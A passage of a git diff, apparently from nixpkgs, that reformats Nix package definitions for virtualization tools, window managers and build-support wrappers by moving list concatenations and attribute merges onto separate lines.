+    "--runstatedir=/var/run"
+  ]
+  ++ lib.optional (!enableSeccomp) "--without-seccomp"
+  ++ lib.optional (enableSuid != defaultToSuid) (
+    if enableSuid then "--with-suid" else "--without-suid"
+  )
+  ++ extraConfigureFlags;
 
   # causes redefinition of _FORTIFY_SOURCE
   hardeningDisable = [ "fortify3" ];
@@ -211,7 +209,8 @@ in
     mount # mount
     squashfsTools # mksquashfs unsquashfs # Make / unpack squashfs image
     squashfuse # squashfuse_ll squashfuse # Mount (without unpacking) a squashfs image without privileges
-  ] ++ lib.optional enableNvidiaContainerCli nvidia-docker;
+  ]
+  ++ lib.optional enableNvidiaContainerCli nvidia-docker;
 
   postPatch = ''
     if [[ ! -e .git || ! -e VERSION ]]; then
@@ -326,7 +325,8 @@ in
       ShamrockLee
     ];
     mainProgram = projectName;
-  } // extraMeta;
+  }
+  // extraMeta;
 }).overrideAttrs
   (
     finalAttrs: prevAttrs: {
diff --git a/pkgs/applications/virtualization/virt-manager/default.nix b/pkgs/applications/virtualization/virt-manager/default.nix
index 593cd4d63c78..68dd83330c9f 100644
--- a/pkgs/applications/virtualization/virt-manager/default.nix
+++ b/pkgs/applications/virtualization/virt-manager/default.nix
@@ -56,25 +56,25 @@ stdenv.mkDerivation rec {
     docutils
     wrapGAppsHook4
     pkg-config
-  ] ++ lib.optional stdenv.hostPlatform.isDarwin desktopToDarwinBundle;
+  ]
+  ++ lib.optional stdenv.hostPlatform.isDarwin desktopToDarwinBundle;
 
-  buildInputs =
-    [
-      python3
-      libvirt-glib
-      vte
-      dconf
-      gtk-vnc
-      adwaita-icon-theme
-      gsettings-desktop-schemas
-      libosinfo
-      gtksourceview4
-    ]
-    ++ lib.optionals spiceSupport [
-      gst_all_1.gst-plugins-base
-      gst_all_1.gst-plugins-good
-      spice-gtk
-    ];
+  buildInputs = [
+    python3
+    libvirt-glib
+    vte
+    dconf
+    gtk-vnc
+    adwaita-icon-theme
+    gsettings-desktop-schemas
+    libosinfo
+    gtksourceview4
+  ]
+  ++ lib.optionals spiceSupport [
+    gst_all_1.gst-plugins-base
+    gst_all_1.gst-plugins-good
+    spice-gtk
+  ];
 
   postInstall = ''
     if ! grep -q StartupWMClass= "$out/share/applications/virt-manager.desktop"; then
diff --git a/pkgs/applications/virtualization/virtualbox/default.nix b/pkgs/applications/virtualization/virtualbox/default.nix
index d21b54cd3099..edd98223644d 100644
--- a/pkgs/applications/virtualization/virtualbox/default.nix
+++ b/pkgs/applications/virtualization/virtualbox/default.nix
@@ -132,54 +132,54 @@ stdenv.mkDerivation (finalAttrs: {
     docbook_xml_dtd_43
     yasm
     glslang
-  ] ++ optional (!headless) wrapQtAppsHook;
+  ]
+  ++ optional (!headless) wrapQtAppsHook;
 
   # Wrap manually because we wrap just a small number of executables.
   dontWrapQtApps = true;
 
-  buildInputs =
-    [
-      acpica-tools
-      dev86
-      libxslt
-      libxml2
-      xorgproto
-      libX11
-      libXext
-      libXcursor
-      libcap
-      glib
-      lvm2
-      alsa-lib
-      curl
-      libvpx
-      pam
-      makeself
-      perl
-      libXmu
-      libXrandr
-      libpng
-      libopus
-      libtpms
-      python3
-      xz
-    ]
-    ++ optional javaBindings jdk
-    ++ optional pythonBindings python3 # Python is needed even when not building bindings
-    ++ optional pulseSupport libpulseaudio
-    ++ optionals headless [ libGL ]
-    ++ optionals (!headless) [
-      qtbase
-      qttools
-      qtscxml
-      libXinerama
-      SDL2
-      libGLU
-    ]
-    ++ optionals enableWebService [
-      gsoap
-      zlib
-    ];
+  buildInputs = [
+    acpica-tools
+    dev86
+    libxslt
+    libxml2
+    xorgproto
+    libX11
+    libXext
+    libXcursor
+    libcap
+    glib
+    lvm2
+    alsa-lib
+    curl
+    libvpx
+    pam
+    makeself
+    perl
+    libXmu
+    libXrandr
+    libpng
+    libopus
+    libtpms
+    python3
+    xz
+  ]
+  ++ optional javaBindings jdk
+  ++ optional pythonBindings python3 # Python is needed even when not building bindings
+  ++ optional pulseSupport libpulseaudio
+  ++ optionals headless [ libGL ]
+  ++ optionals (!headless) [
+    qtbase
+    qttools
+    qtscxml
+    libXinerama
+    SDL2
+    libGLU
+  ]
+  ++ optionals enableWebService [
+    gsoap
+    zlib
+  ];
 
   hardeningDisable = [
     "format"
diff --git a/pkgs/applications/virtualization/virtualbox/guest-additions/builder.nix b/pkgs/applications/virtualization/virtualbox/guest-additions/builder.nix
index 9cb17616805d..a955a9551ed4 100644
--- a/pkgs/applications/virtualization/virtualbox/guest-additions/builder.nix
+++ b/pkgs/applications/virtualization/virtualbox/guest-additions/builder.nix
@@ -51,7 +51,8 @@ stdenv.mkDerivation (finalAttrs: {
     openssl
     linuxHeaders
     xz
-  ] ++ kernel.moduleBuildDependencies;
+  ]
+  ++ kernel.moduleBuildDependencies;
   buildInputs = [
     dbus
     libxslt
diff --git a/pkgs/applications/virtualization/virtualbox/guest-additions/default.nix b/pkgs/applications/virtualization/virtualbox/guest-additions/default.nix
index 3d69d726dbe5..9a7d0e2e6227 100644
--- a/pkgs/applications/virtualization/virtualbox/guest-additions/default.nix
+++ b/pkgs/applications/virtualization/virtualbox/guest-additions/default.nix
@@ -70,7 +70,8 @@ stdenv.mkDerivation {
     patchelf
     makeWrapper
     virtualBoxNixGuestAdditionsBuilder
-  ] ++ kernel.moduleBuildDependencies;
+  ]
+  ++ kernel.moduleBuildDependencies;
 
   buildPhase = ''
     runHook preBuild
diff --git a/pkgs/applications/window-managers/awesome/default.nix b/pkgs/applications/window-managers/awesome/default.nix
index 2e60bcf41e68..4361a6a044e5 100644
--- a/pkgs/applications/window-managers/awesome/default.nix
+++ b/pkgs/applications/window-managers/awesome/default.nix
@@ -119,12 +119,14 @@ stdenv.mkDerivation rec {
     xorg.xcbutilwm
     libxkbcommon
     xcbutilxrm
-  ] ++ lib.optional gtk3Support gtk3;
+  ]
+  ++ lib.optional gtk3Support gtk3;
 
   cmakeFlags = [
     #"-DGENERATE_MANPAGES=ON"
     "-DOVERRIDE_VERSION=${version}"
-  ] ++ lib.optional lua.pkgs.isLuaJIT "-DLUA_LIBRARY=${lua}/lib/libluajit-5.1.so";
+  ]
+  ++ lib.optional lua.pkgs.isLuaJIT "-DLUA_LIBRARY=${lua}/lib/libluajit-5.1.so";
 
   GI_TYPELIB_PATH = "${pango.out}/lib/girepository-1.0";
   # LUA_CPATH and LUA_PATH are used only for *building*, see the --search flags
diff --git a/pkgs/applications/window-managers/i3/lock-fancy.nix b/pkgs/applications/window-managers/i3/lock-fancy.nix
index dd64a987ed39..23400455bf63 100644
--- a/pkgs/applications/window-managers/i3/lock-fancy.nix
+++ b/pkgs/applications/window-managers/i3/lock-fancy.nix
@@ -31,17 +31,16 @@ stdenv.mkDerivation {
     installShellFiles
   ];
 
-  postPatch =
-    ''
-      sed -i i3lock-fancy \
-        -e 's|icon="/usr/share/i3lock-fancy/icons/lockdark.png"|icon="'$out'/share/i3lock-fancy/icons/lockdark.png"|' \
-        -e 's|icon="/usr/share/i3lock-fancy/icons/lock.png"|icon="'$out'/share/i3lock-fancy/icons/lock.png"|'
-      rm Makefile
-    ''
-    + lib.optionalString (screenshotCommand != "") ''
-      sed -i i3lock-fancy \
-        -e "s|shot=(import -silent -window root)|shot=(${screenshotCommand})|";
-    '';
+  postPatch = ''
+    sed -i i3lock-fancy \
+      -e 's|icon="/usr/share/i3lock-fancy/icons/lockdark.png"|icon="'$out'/share/i3lock-fancy/icons/lockdark.png"|' \
+      -e 's|icon="/usr/share/i3lock-fancy/icons/lock.png"|icon="'$out'/share/i3lock-fancy/icons/lock.png"|'
+    rm Makefile
+  ''
+  + lib.optionalString (screenshotCommand != "") ''
+    sed -i i3lock-fancy \
+      -e "s|shot=(import -silent -window root)|shot=(${screenshotCommand})|";
+  '';
 
   installPhase = ''
     runHook preInstall
diff --git a/pkgs/applications/window-managers/i3/status-rust.nix b/pkgs/applications/window-managers/i3/status-rust.nix
index eeddfb58bdf7..33564b2d6554 100644
--- a/pkgs/applications/window-managers/i3/status-rust.nix
+++ b/pkgs/applications/window-managers/i3/status-rust.nix
@@ -35,26 +35,25 @@ rustPlatform.buildRustPackage rec {
   nativeBuildInputs = [
     pkg-config
     makeWrapper
-  ] ++ (lib.optionals withPipewire [ rustPlatform.bindgenHook ]);
+  ]
+  ++ (lib.optionals withPipewire [ rustPlatform.bindgenHook ]);
 
-  buildInputs =
-    [
-      dbus
-      libpulseaudio
-      openssl
-      lm_sensors
-    ]
-    ++ (lib.optionals withPipewire [ pipewire ])
-    ++ (lib.optionals withNotmuch [ notmuch ]);
+  buildInputs = [
+    dbus
+    libpulseaudio
+    openssl
+    lm_sensors
+  ]
+  ++ (lib.optionals withPipewire [ pipewire ])
+  ++ (lib.optionals withNotmuch [ notmuch ]);
 
-  buildFeatures =
-    [
-      "maildir"
-      "pulseaudio"
-    ]
-    ++ (lib.optionals withICUCalendar [ "icu_calendar" ])
-    ++ (lib.optionals withPipewire [ "pipewire" ])
-    ++ (lib.optionals withNotmuch [ "notmuch" ]);
+  buildFeatures = [
+    "maildir"
+    "pulseaudio"
+  ]
+  ++ (lib.optionals withICUCalendar [ "icu_calendar" ])
+  ++ (lib.optionals withPipewire [ "pipewire" ])
+  ++ (lib.optionals withNotmuch [ "notmuch" ]);
 
   prePatch = ''
     substituteInPlace src/util.rs \
diff --git a/pkgs/applications/window-managers/wayfire/wrapper.nix b/pkgs/applications/window-managers/wayfire/wrapper.nix
index b8193bbc63fd..ae6866b6c44c 100644
--- a/pkgs/applications/window-managers/wayfire/wrapper.nix
+++ b/pkgs/applications/window-managers/wayfire/wrapper.nix
@@ -13,7 +13,8 @@ symlinkJoin {
 
   paths = [
     wayfire
-  ] ++ plugins;
+  ]
+  ++ plugins;
 
   postBuild = ''
     for binary in $out/bin/*; do
diff --git a/pkgs/applications/window-managers/xmonad/log-applet/default.nix b/pkgs/applications/window-managers/xmonad/log-applet/default.nix
index da3aa7c42865..2d93fa25bd1a 100644
--- a/pkgs/applications/window-managers/xmonad/log-applet/default.nix
+++ b/pkgs/applications/window-managers/xmonad/log-applet/default.nix
@@ -30,25 +30,24 @@ stdenv.mkDerivation rec {
     sha256 = "042307grf4zvn61gnflhsj5xsjykrk9sjjsprprm4iij0qpybxcw";
   };
 
-  buildInputs =
-    [
-      glib
-      dbus-glib
-      xorg.xcbutilwm
-    ]
-    ++ lib.optionals (desktopSupport == "gnomeflashback") [
-      gtk3
-      gnome-panel
-    ]
-    ++ lib.optionals (desktopSupport == "mate") [
-      gtk3
-      mate.mate-panel
-    ]
-    ++ lib.optionals (desktopSupport == "xfce4") [
-      gtk2
-      libxfce4util
-      xfce4-panel
-    ];
+  buildInputs = [
+    glib
+    dbus-glib
+    xorg.xcbutilwm
+  ]
+  ++ lib.optionals (desktopSupport == "gnomeflashback") [
+    gtk3
+    gnome-panel
+  ]
+  ++ lib.optionals (desktopSupport == "mate") [
+    gtk3
+    mate.mate-panel
+  ]
+  ++ lib.optionals (desktopSupport == "xfce4") [
+    gtk2
+    libxfce4util
+    xfce4-panel
+  ];
 
   nativeBuildInputs = [
     autoreconfHook
diff --git a/pkgs/build-support/appimage/default.nix b/pkgs/build-support/appimage/default.nix
index 9d72bfe6ed98..69fe9913a314 100644
--- a/pkgs/build-support/appimage/default.nix
+++ b/pkgs/build-support/appimage/default.nix
@@ -73,7 +73,8 @@ rec {
 
         meta = {
           sourceProvenance = with lib.sourceTypes; [ binaryNativeCode ];
-        } // meta;
+        }
+        // meta;
       }
       // (removeAttrs args (builtins.attrNames (builtins.functionArgs wrapAppImage)))
     );
diff --git a/pkgs/build-support/binary-cache/default.nix b/pkgs/build-support/binary-cache/default.nix
index ec3dc0b5b137..0ef27887820a 100644
--- a/pkgs/build-support/binary-cache/default.nix
+++ b/pkgs/build-support/binary-cache/default.nix
@@ -36,15 +36,14 @@ stdenv.mkDerivation {
 
   preferLocalBuild = true;
 
-  nativeBuildInputs =
-    [
-      coreutils
-      jq
-      python3
-      nix
-    ]
-    ++ lib.optional (compression == "xz") xz
-    ++ lib.optional (compression == "zstd") zstd;
+  nativeBuildInputs = [
+    coreutils
+    jq
+    python3
+    nix
+  ]
+  ++ lib.optional (compression == "xz") xz
+  ++ lib.optional (compression == "zstd") zstd;
 
   buildCommand = ''
     mkdir -p $out/nar
diff --git a/pkgs/build-support/bintools-wrapper/default.nix b/pkgs/build-support/bintools-wrapper/default.nix
index 4618b1cbba52..05f6980f0be4 100644
--- a/pkgs/build-support/bintools-wrapper/default.nix
+++ b/pkgs/build-support/bintools-wrapper/default.nix
@@ -44,36 +44,35 @@
 
   # Note: the hardening flags are part of the bintools-wrapper, rather than
   # the cc-wrapper, because a few of them are handled by the linker.
-  defaultHardeningFlags ?
-    [
-      "bindnow"
-      "format"
-      "fortify"
-      "fortify3"
-      "pic"
-      "relro"
-      "stackclashprotection"
-      "stackprotector"
-      "strictoverflow"
-      "zerocallusedregs"
+  defaultHardeningFlags ? [
+    "bindnow"
+    "format"
+    "fortify"
+    "fortify3"
+    "pic"
+    "relro"
+    "stackclashprotection"
+    "stackprotector"
+    "strictoverflow"
+    "zerocallusedregs"
+  ]
+  ++ lib.optional (
+    with stdenvNoCC;
+    lib.any (x: x) [
+      # OpenBSD static linking requires PIE
+      (with targetPlatform; isOpenBSD && isStatic)
+      (lib.all (x: x) [
+        # Musl-based platforms will keep "pie", other platforms will not.
+        # If you change this, make sure to update section `{#sec-hardening-in-nixpkgs}`
+        # in the nixpkgs manual to inform users about the defaults.
+        (targetPlatform.libc == "musl")
+        # Except when:
+        #    - static aarch64, where compilation works, but produces segfaulting dynamically linked binaries.
+        #    - static armv7l, where compilation fails.
+        (!(targetPlatform.isAarch && targetPlatform.isStatic))
+      ])
     ]
-    ++ lib.optional (
-      with stdenvNoCC;
-      lib.any (x: x) [
-        # OpenBSD static linking requires PIE
-        (with targetPlatform; isOpenBSD && isStatic)
-        (lib.all (x: x) [
-          # Musl-based platforms will keep "pie", other platforms will not.
-          # If you change this, make sure to update section `{#sec-hardening-in-nixpkgs}`
-          # in the nixpkgs manual to inform users about the defaults.
-          (targetPlatform.libc == "musl")
-          # Except when:
-          #    - static aarch64, where compilation works, but produces segfaulting dynamically linked binaries.
-          #    - static armv7l, where compilation fails.
-          (!(targetPlatform.isAarch && targetPlatform.isStatic))
-        ])
-      ]
-    ) "pie",
+  ) "pie",
 }:
 
 assert propagateDoc -> bintools ? man;
@@ -222,72 +221,71 @@ stdenvNoCC.mkDerivation {
     src=$PWD
   '';
 
-  installPhase =
-    ''
-      mkdir -p $out/bin $out/nix-support
+  installPhase = ''
+    mkdir -p $out/bin $out/nix-support
 
-      wrap() {
-        local dst="$1"
-        local wrapper="$2"
-        export prog="$3"
-        export use_response_file_by_default=${if isCCTools then "1" else "0"}
-        substituteAll "$wrapper" "$out/bin/$dst"
-        chmod +x "$out/bin/$dst"
-      }
-    ''
+    wrap() {
+      local dst="$1"
+      local wrapper="$2"
+      export prog="$3"
+      export use_response_file_by_default=${if isCCTools then "1" else "0"}
+      substituteAll "$wrapper" "$out/bin/$dst"
+      chmod +x "$out/bin/$dst"
+    }
+  ''
 
-    + (
-      if nativeTools then
-        ''
-          echo ${nativePrefix} > $out/nix-support/orig-bintools
+  + (
+    if nativeTools then
+      ''
+        echo ${nativePrefix} > $out/nix-support/orig-bintools
 
-          ldPath="${nativePrefix}/bin"
-        ''
-      else
-        ''
-          echo $bintools_bin > $out/nix-support/orig-bintools
+        ldPath="${nativePrefix}/bin"
+      ''
+    else
+      ''
+        echo $bintools_bin > $out/nix-support/orig-bintools
 
-          ldPath="${bintools_bin}/bin"
-        ''
+        ldPath="${bintools_bin}/bin"
+      ''
 
-        # Solaris needs an additional ld wrapper.
-        + optionalString (targetPlatform.isSunOS && nativePrefix != "") ''
-          ldPath="${nativePrefix}/bin"
-          exec="$ldPath/${targetPrefix}ld"
-          wrap ld-solaris ${./ld-solaris-wrapper.sh}
-        ''
-    )
+      # Solaris needs an additional ld wrapper.
+      + optionalString (targetPlatform.isSunOS && nativePrefix != "") ''
+        ldPath="${nativePrefix}/bin"
+        exec="$ldPath/${targetPrefix}ld"
+        wrap ld-solaris ${./ld-solaris-wrapper.sh}
+      ''
+  )
 
-    # If we are asked to wrap `gas` and this bintools has it,
-    # then symlink it (`as` will be symlinked next).
-    # This is mainly for the wrapped gnat-bootstrap on x86-64 Darwin,
-    # as it must have both the GNU assembler from cctools (installed as `gas`)
-    # and the Clang integrated assembler (installed as `as`).
-    # See pkgs/os-specific/darwin/binutils/default.nix for details.
-    + optionalString wrapGas ''
-      if [ -e $ldPath/${targetPrefix}gas ]; then
-        ln -s $ldPath/${targetPrefix}gas $out/bin/${targetPrefix}gas
+  # If we are asked to wrap `gas` and this bintools has it,
+  # then symlink it (`as` will be symlinked next).
+  # This is mainly for the wrapped gnat-bootstrap on x86-64 Darwin,
+  # as it must have both the GNU assembler from cctools (installed as `gas`)
+  # and the Clang integrated assembler (installed as `as`).
+  # See pkgs/os-specific/darwin/binutils/default.nix for details.
+  + optionalString wrapGas ''
+    if [ -e $ldPath/${targetPrefix}gas ]; then
+      ln -s $ldPath/${targetPrefix}gas $out/bin/${targetPrefix}gas
+    fi
+  ''
+
+  # Create symlinks for rest of the binaries.
+  + ''
+    for binary in objdump objcopy size strings as ar nm gprof dwp c++filt addr2line \
+        ranlib readelf elfedit dlltool dllwrap windmc windres; do
+      if [ -e $ldPath/${targetPrefix}''${binary} ]; then
+        ln -s $ldPath/${targetPrefix}''${binary} $out/bin/${targetPrefix}''${binary}
       fi
-    ''
+    done
 
-    # Create symlinks for rest of the binaries.
-    + ''
-      for binary in objdump objcopy size strings as ar nm gprof dwp c++filt addr2line \
-          ranlib readelf elfedit dlltool dllwrap windmc windres; do
-        if [ -e $ldPath/${targetPrefix}''${binary} ]; then
-          ln -s $ldPath/${targetPrefix}''${binary} $out/bin/${targetPrefix}''${binary}
-        fi
-      done
+    if [ -e ''${ld:-$ldPath/${targetPrefix}ld} ]; then
+      wrap ${targetPrefix}ld ${./ld-wrapper.sh} ''${ld:-$ldPath/${targetPrefix}ld}
+    fi
 
-      if [ -e ''${ld:-$ldPath/${targetPrefix}ld} ]; then
-        wrap ${targetPrefix}ld ${./ld-wrapper.sh} ''${ld:-$ldPath/${targetPrefix}ld}
-      fi
-
-      for variant in $ldPath/${targetPrefix}ld.*; do
-        basename=$(basename "$variant")
-        wrap $basename ${./ld-wrapper.sh} $variant
-      done
-    '';
+    for variant in $ldPath/${targetPrefix}ld.*; do
+      basename=$(basename "$variant")
+      wrap $basename ${./ld-wrapper.sh} $variant
+    done
+  '';
 
   strictDeps = true;
   depsTargetTargetPropagated = extraPackages;
@@ -458,44 +456,43 @@ stdenvNoCC.mkDerivation {
     ##
     + extraBuildCommands;
 
-  env =
-    {
-      # for substitution in utils.bash
-      # TODO(@sternenseemann): invent something cleaner than passing in "" in case of absence
-      expandResponseParams = "${expand-response-params}/bin/expand-response-params";
-      # TODO(@sternenseemann): rename env var via stdenv rebuild
-      shell = (getBin runtimeShell + runtimeShell.shellPath or "");
-      gnugrep_bin = optionalString (!nativeTools) gnugrep;
-      rm = if nativeTools then "rm" else lib.getExe' coreutils "rm";
-      mktemp = if nativeTools then "mktemp" else lib.getExe' coreutils "mktemp";
-      wrapperName = "BINTOOLS_WRAPPER";
-      inherit
-        dynamicLinker
-        targetPrefix
-        suffixSalt
-        coreutils_bin
-        ;
-      inherit
-        bintools_bin
-        libc_bin
-        libc_dev
-        libc_lib
-        ;
-      default_hardening_flags_str = builtins.toString defaultHardeningFlags;
-    }
-    // lib.mapAttrs (_: lib.optionalString targetPlatform.isDarwin) {
-      # These will become empty strings when not targeting Darwin.
-      inherit (targetPlatform)
-        darwinPlatform
-        darwinSdkVersion
-        darwinMinVersion
-        darwinMinVersionVariable
-        ;
-    }
-    // lib.optionalAttrs (stdenvNoCC.targetPlatform.isDarwin && apple-sdk != null) {
-      # Wrapped compilers should do something useful even when no SDK is provided at `DEVELOPER_DIR`.
-      fallback_sdk = apple-sdk.__spliced.buildTarget or apple-sdk;
-    };
+  env = {
+    # for substitution in utils.bash
+    # TODO(@sternenseemann): invent something cleaner than passing in "" in case of absence
+    expandResponseParams = "${expand-response-params}/bin/expand-response-params";
+    # TODO(@sternenseemann): rename env var via stdenv rebuild
+    shell = (getBin runtimeShell + runtimeShell.shellPath or "");
+    gnugrep_bin = optionalString (!nativeTools) gnugrep;
+    rm = if nativeTools then "rm" else lib.getExe' coreutils "rm";
+    mktemp = if nativeTools then "mktemp" else lib.getExe' coreutils "mktemp";
+    wrapperName = "BINTOOLS_WRAPPER";
+    inherit
+      dynamicLinker
+      targetPrefix
+      suffixSalt
+      coreutils_bin
+      ;
+    inherit
+      bintools_bin
+      libc_bin
+      libc_dev
+      libc_lib
+      ;
+    default_hardening_flags_str = builtins.toString defaultHardeningFlags;
+  }
+  // lib.mapAttrs (_: lib.optionalString targetPlatform.isDarwin) {
+    # These will become empty strings when not targeting Darwin.
+    inherit (targetPlatform)
+      darwinPlatform
+      darwinSdkVersion
+      darwinMinVersion
+      darwinMinVersionVariable
+      ;
+  }
+  // lib.optionalAttrs (stdenvNoCC.targetPlatform.isDarwin && apple-sdk != null) {
+    # Wrapped compilers should do something useful even when no SDK is provided at `DEVELOPER_DIR`.
+    fallback_sdk = apple-sdk.__spliced.buildTarget or apple-sdk;
+  };
 
   meta =
     let
diff --git a/pkgs/build-support/build-bazel-package/default.nix b/pkgs/build-support/build-bazel-package/default.nix
index f2c68c0984bb..10c6982ada25 100644
--- a/pkgs/build-support/build-bazel-package/default.nix
+++ b/pkgs/build-support/build-bazel-package/default.nix
@@ -142,19 +142,17 @@ stdenv.mkDerivation (
 
         nativeBuildInputs = fFetchAttrs.nativeBuildInputs or [ ] ++ [ bazel ];
 
-        preHook =
-          fFetchAttrs.preHook or ""
-          + ''
-            export bazelOut="$(echo ''${NIX_BUILD_TOP}/output | sed -e 's,//,/,g')"
-            export bazelUserRoot="$(echo ''${NIX_BUILD_TOP}/tmp | sed -e 's,//,/,g')"
-            export HOME="$NIX_BUILD_TOP"
-            export USER="nix"
-            # This is needed for git_repository with https remotes
-            export GIT_SSL_CAINFO="${cacert}/etc/ssl/certs/ca-bundle.crt"
-            # This is needed for Bazel fetchers that are themselves programs (e.g.
-            # rules_go using the go toolchain)
-            export SSL_CERT_FILE="${cacert}/etc/ssl/certs/ca-bundle.crt"
-          '';
+        preHook = fFetchAttrs.preHook or "" + ''
+          export bazelOut="$(echo ''${NIX_BUILD_TOP}/output | sed -e 's,//,/,g')"
+          export bazelUserRoot="$(echo ''${NIX_BUILD_TOP}/tmp | sed -e 's,//,/,g')"
+          export HOME="$NIX_BUILD_TOP"
+          export USER="nix"
+          # This is needed for git_repository with https remotes
+          export GIT_SSL_CAINFO="${cacert}/etc/ssl/certs/ca-bundle.crt"
+          # This is needed for Bazel fetchers that are themselves programs (e.g.
+          # rules_go using the go toolchain)
+          export SSL_CERT_FILE="${cacert}/etc/ssl/certs/ca-bundle.crt"
+        '';
 
         buildPhase =
           fFetchAttrs.buildPhase or ''
@@ -162,22 +160,21 @@ stdenv.mkDerivation (
 
             ${bazelCmd {
               cmd = if fetchConfigured then "build --nobuild" else "fetch";
-              additionalFlags =
-                [
-                  # We disable multithreading for the fetching phase since it can lead to timeouts with many dependencies/threads:
-                  # https://github.com/bazelbuild/bazel/issues/6502
-                  "--loading_phase_threads=1"
-                  "$bazelFetchFlags"
-                ]
-                ++ (
-                  if fetchConfigured then
-                    [
-                      "--jobs"
-                      "$NIX_BUILD_CORES"
-                    ]
-                  else
-                    [ ]
-                );
+              additionalFlags = [
+                # We disable multithreading for the fetching phase since it can lead to timeouts with many dependencies/threads:
+                # https://github.com/bazelbuild/bazel/issues/6502
+                "--loading_phase_threads=1"
+                "$bazelFetchFlags"
+              ]
+              ++ (
+                if fetchConfigured then
+                  [
+                    "--jobs"
+                    "$NIX_BUILD_CORES"
+                  ]
+                else
+                  [ ]
+              );
               targets = fFetchAttrs.bazelTargets ++ fFetchAttrs.bazelTestTargets;
             }}
 
@@ -255,35 +252,32 @@ stdenv.mkDerivation (
       (bazel.override { enableNixHacks = true; })
     ];
 
-    preHook =
-      fBuildAttrs.preHook or ""
-      + ''
-        export bazelOut="$NIX_BUILD_TOP/output"
-        export bazelUserRoot="$NIX_BUILD_TOP/tmp"
-        export HOME="$NIX_BUILD_TOP"
-      '';
+    preHook = fBuildAttrs.preHook or "" + ''
+      export bazelOut="$NIX_BUILD_TOP/output"
+      export bazelUserRoot="$NIX_BUILD_TOP/tmp"
+      export HOME="$NIX_BUILD_TOP"
+    '';
 
-    preConfigure =
-      ''
-        mkdir -p "$bazelOut"
+    preConfigure = ''
+      mkdir -p "$bazelOut"
 
-        (cd $bazelOut && tar xfz $deps)
+      (cd $bazelOut && tar xfz $deps)
 
-        test "${bazel.name}" = "$(<$bazelOut/external/.nix-bazel-version)" || {
-          echo "fixed output derivation was built for a different bazel version" >&2
-          echo "     got: $(<$bazelOut/external/.nix-bazel-version)" >&2
-          echo "expected: ${bazel.name}" >&2
-          exit 1
-        }
+      test "${bazel.name}" = "$(<$bazelOut/external/.nix-bazel-version)" || {
+        echo "fixed output derivation was built for a different bazel version" >&2
+        echo "     got: $(<$bazelOut/external/.nix-bazel-version)" >&2
+        echo "expected: ${bazel.name}" >&2
+        exit 1
+      }
 
-        chmod -R +w $bazelOut
-        find $bazelOut -type l | while read symlink; do
-          if [[ $(readlink "$symlink") == *NIX_BUILD_TOP* ]]; then
-            ln -sf $(readlink "$symlink" | sed "s,NIX_BUILD_TOP,$NIX_BUILD_TOP,") "$symlink"
-          fi
-        done
-      ''
-      + fBuildAttrs.preConfigure or "";
+      chmod -R +w $bazelOut
+      find $bazelOut -type l | while read symlink; do
+        if [[ $(readlink "$symlink") == *NIX_BUILD_TOP* ]]; then
+          ln -sf $(readlink "$symlink" | sed "s,NIX_BUILD_TOP,$NIX_BUILD_TOP,") "$symlink"
+        fi
+      done
+    ''
+    + fBuildAttrs.preConfigure or "";
 
     buildPhase =
       fBuildAttrs.buildPhase or ''
@@ -316,13 +310,14 @@ stdenv.mkDerivation (
 
         ${bazelCmd {
           cmd = "test";
-          additionalFlags =
-            [ "--test_output=errors" ]
-            ++ fBuildAttrs.bazelTestFlags
-            ++ [
-              "--jobs"
-              "$NIX_BUILD_CORES"
-            ];
+          additionalFlags = [
+            "--test_output=errors"
+          ]
+          ++ fBuildAttrs.bazelTestFlags
+          ++ [
+            "--jobs"
+            "$NIX_BUILD_CORES"
+          ];
           targets = fBuildAttrs.bazelTestTargets;
         }}
         ${bazelCmd {
diff --git a/pkgs/build-support/build-fhsenv-bubblewrap/buildFHSEnv.nix b/pkgs/build-support/build-fhsenv-bubblewrap/buildFHSEnv.nix
index ef9735590ad1..b85cd9a04a6c 100644
--- a/pkgs/build-support/build-fhsenv-bubblewrap/buildFHSEnv.nix
+++ b/pkgs/build-support/build-fhsenv-bubblewrap/buildFHSEnv.nix
@@ -170,18 +170,17 @@ let
 
   paths =
     let
-      basePaths =
-        [
-          etcProfile
-          # ldconfig wrapper must come first so it overrides the original ldconfig
-          ldconfig
-          # magic package that just creates a directory, to ensure that
-          # the entire directory can't be a symlink, as we will write
-          # compiled schemas to it
-          ensureGsettingsSchemasIsDirectory
-        ]
-        ++ baseTargetPaths
-        ++ targetPaths;
+      basePaths = [
+        etcProfile
+        # ldconfig wrapper must come first so it overrides the original ldconfig
+        ldconfig
+        # magic package that just creates a directory, to ensure that
+        # the entire directory can't be a symlink, as we will write
+        # compiled schemas to it
+        ensureGsettingsSchemasIsDirectory
+      ]
+      ++ baseTargetPaths
+      ++ targetPaths;
     in
     pickOutputs basePaths [
       "out"
diff --git a/pkgs/build-support/build-fhsenv-bubblewrap/default.nix b/pkgs/build-support/build-fhsenv-bubblewrap/default.nix
index e23d5040aa09..e69e990d3f29 100644
--- a/pkgs/build-support/build-fhsenv-bubblewrap/default.nix
+++ b/pkgs/build-support/build-fhsenv-bubblewrap/default.nix
@@ -350,7 +350,8 @@ runCommandLocal name
 
       meta = {
         mainProgram = executableName;
-      } // meta;
+      }
+      // meta;
     }
   )
   ''
diff --git a/pkgs/build-support/build-fhsenv-chroot/env.nix b/pkgs/build-support/build-fhsenv-chroot/env.nix
index 7dbbfbf8d508..1f774da847a7 100644
--- a/pkgs/build-support/build-fhsenv-chroot/env.nix
+++ b/pkgs/build-support/build-fhsenv-chroot/env.nix
@@ -175,7 +175,8 @@ let
       "out"
       "lib"
       "bin"
-    ] ++ extraOutputsToInstall;
+    ]
+    ++ extraOutputsToInstall;
     ignoreCollisions = true;
     postBuild = ''
       if [[ -d  $out/share/gsettings-schemas/ ]]; then
@@ -214,7 +215,8 @@ let
     extraOutputsToInstall = [
       "out"
       "lib"
-    ] ++ extraOutputsToInstall;
+    ]
+    ++ extraOutputsToInstall;
     ignoreCollisions = true;
   };
 
diff --git a/pkgs/build-support/build-graalvm-native-image/default.nix b/pkgs/build-support/build-graalvm-native-image/default.nix
index e1e4df52f02a..55e8451a1f10 100644
--- a/pkgs/build-support/build-graalvm-native-image/default.nix
+++ b/pkgs/build-support/build-graalvm-native-image/default.nix
@@ -90,7 +90,8 @@ stdenv.mkDerivation (
       platforms = graalvmDrv.meta.platforms;
       # default to executable name
       mainProgram = executable;
-    } // meta;
+    }
+    // meta;
   }
   // extraArgs
 )
diff --git a/pkgs/build-support/cc-wrapper/default.nix b/pkgs/build-support/cc-wrapper/default.nix
index b9df3fc1b2b0..c1b34d38c394 100644
--- a/pkgs/build-support/cc-wrapper/default.nix
+++ b/pkgs/build-support/cc-wrapper/default.nix
